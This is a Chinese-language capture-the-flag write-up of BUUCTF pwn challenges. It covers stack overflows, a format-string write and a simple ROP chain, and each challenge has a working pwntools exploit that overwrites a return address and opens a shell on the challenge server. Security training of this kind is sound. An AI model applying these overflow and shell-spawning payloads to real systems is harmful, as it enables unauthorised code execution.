buu-pwn-1
rip
静态分析
将附件拖入IDA进行分析:

F5可以反编译查看源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets(s, argv);
puts(s);
puts("ok,bye!!!");
return 0;
}
这里有个很危险的gets函数
去找一下这个函数的介绍:https://learn.microsoft.com/zh-cn/cpp/c-runtime-library/gets-getws?view=msvc-170
gets函数对于输入的长度没有进行校验,直至碰到\0才停止从标准输入流中获取输入
后门函数利用
Shift+F12查看所有字符串,发现有后门

在fun中找到如下后门:

查看需要多少偏移:
- 双击s进入栈区查看

- 需要偏移23个字节,返回字段填后门地址

EXP
堆栈平衡问题
二进制程序运行于服务端上的某个端口,然后我们send的数据属于远端标准输入的部分
from pwn import *
# connect remote
p = remote('node4.buuoj.cn', 25818)
# payload
payload = b'a'*23 + p64(0x401187)
# send data
p.sendline(payload)
# reverse shell
p.interactive()

warmup_csaw_2016
后门函数都给你写好了

思路就是利用栈溢出覆盖返回地址,然后跳到后门函数

偏移为0x48

exp如下
from pwn import *
# node4.buuoj.cn:28153
# 0x40060d
p = remote('node4.buuoj.cn',28153)
payload = b'a'*72 + p64(0x40060d)
p.sendline(payload)
p.interactive()
ciscn_2019_n_1
静态分析
checksec:

拖入IDA分析:

在该局部变量中,gets存在栈溢出,当覆盖v2为特定的值时,可以执行后门函数
查看栈:
db:表示分配字节的伪指令
dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定
?: 只分配存储空间,不指定初值
dd:表示定义一个double字节
那么也就可以对应上述函数中的局部变量:

计算偏移
由上述的分析可知,v1的基址与v2距离44,即在v1栈溢出后就是v2的内存区域
由此可以书写exp:
from pwn import *
# node4.buuoj.cn:25860
p = remote('node4.buuoj.cn', 25860)
# p64将int转byte
payload = b'a'*44 + p64(0x41348000)
p.sendline(payload)
p.interactive()
pwn1_sctf_2016
checksec:32位小端序

静态分析
主要逻辑是进行了字符替换,然后在strcpy时产生了栈溢出,当覆盖返回地址题目中的后门函数时即可劫持eip即可改变程序执行流,然后获取flag
后门地址:

溢出偏移:

fgets能写入最大32字节,然后地址需要占据4字节大小。
需要溢出到64字节位置,这段栈区为垃圾填充数据,所以需要输入64 mod 3 = 21个I,然后再填充一个字节,最后放上后门地址
EXP
from pwn import *
# node4.buuoj.cn:26086
p = remote('node4.buuoj.cn', 26086)
payload = b'I'*21 + b'a' + p32(0x8048F0D)
p.sendline(payload)
p.interactive()
jarvisoj_level0
checksec

静态分析
从标准输入里读取0x200个字节(256个)的数据,但是数组只有128大小,存在栈溢出

查看栈,只需要溢出0x88字节,即可劫持rip

然后再看有没有后门:

EXP
from pwn import *
# node4.buuoj.cn:26426
p = remote('node4.buuoj.cn',26426)
payload = b'a'*136 + p64(0x400596)
p.sendline(payload)
p.interactive()
[第五空间2019 决赛]PWN5
checksec
32位小端,且有canary

静态分析
setvbuf用于设置缓冲模式,此处设置
int setvbuf(FILE *stream, char *buffer, int mode, size_t size);
stream:指向FILE对象的指针,表示要设置缓冲区的文件流。
buffer:指向用于缓冲的数组的指针。可以为NULL,表示由系统自动分配缓冲区。
mode:缓冲模式,可以取以下值之一:- `_IOFBF`:全缓冲(I/O 缓冲区大小由 `size` 指定)。
_IOLBF:行缓冲。
_IONBF:无缓冲。
size:缓冲区大小(以字节为单位),如果buffer参数不为NULL,则该参数表示提供的缓冲区的大小。

19行直接从标准输入读取字节流到buf中,大小为0x63u
在21行选择直接打印,存在格式化字符串漏洞,从而可以越界读

然后看dword_804C044的位置了 ,bss段上...
解决方法
写:使用格式化字符串%{}$n
%10$n 是一个格式化字符串中的特殊构造,主要用于 C 语言的 printf 或类似的格式化输出函数。这部分格式字符串的含义是将到目前为止已经输出的字符数(几个字节)写入到参数列表中的第10个整数变量中。
从而对bss段进行任意写
参考
jarvisoj_level2
checksec:开启了NX(不可执行栈)

NX补充:
程序运行时,将数据所在内存页标记为不可执行的。

静态分析
一眼栈溢出

hint变量在.data上

倘如能用system执行/bin/sh,那么不就getshell了吗
ROP初探
ROP,返回导向编程。在能够劫持eip下,不断改变eip将程序中的gadgets给串起来,然后达到攻击效果
此处栈上的shellcode是不可执行的,但是可以跳到其他段上执行

关于ret和call的一点点区别
ret
如果想用ret完成类似于函数调用的过程,需要自己补充栈上的参数。
(即下一个eip以及参数)

call
call类指令会自动完成上述过程
参数是提前写入栈或寄存器的,在call时,压入call下一条地址,然后进入函数体执行。
EXP
那么在该题中,由于存在栈溢出,可以覆盖ret地址到system,然后调用bin/sh
from pwn import *
context(log_level='debug', os='linux', arch='i386')
#p = process("./level2")
p = remote('node4.buuoj.cn',27104)
# 利用ret需要自己填充
payload = b'a'*(0x88+4)+p32(0x8048320)+p32(0)+p32(0x0804A024)
p.recvuntil('Input:')
p.sendline(payload)
p.interactive()
参考
https://www.cnblogs.com/xshhc/p/16939678.html
ciscn_2019_n_8
好像是道正常的代码审计题,也没溢出什么的
解引用&var[13],判断是否有东西
然后等于8字节的17时即可getshell
15长的双字数组
exp如下:
from pwn import *
context(log_level='debug', os='linux', arch='i386')
# node4.buuoj.cn:27520
#p = process('./ciscn_2019_n_8')
p = remote('node4.buuoj.cn', 27520)
payload = b'bbbb'*13+p64(17)
p.recvuntil('name?')
p.sendline(payload)
p.interactive()
bjdctf_2020_babystack
栈溢出,不多解释了
from pwn import *
context(log_level='debug', os='linux', arch='amd64')
#p = process('bjdctf_2020_babystack')
p = remote('node4.buuoj.cn', 29416)
length = b'100'
shAddr = 0x4006E6
payload = b'a'*(0x10+8)+ p64(shAddr)+b'\x00'
p.recvuntil('name:')
p.sendline(length)
p.recvuntil('name?')
p.sendline(payload)
p.interactive()

浙公网安备 33010602011771号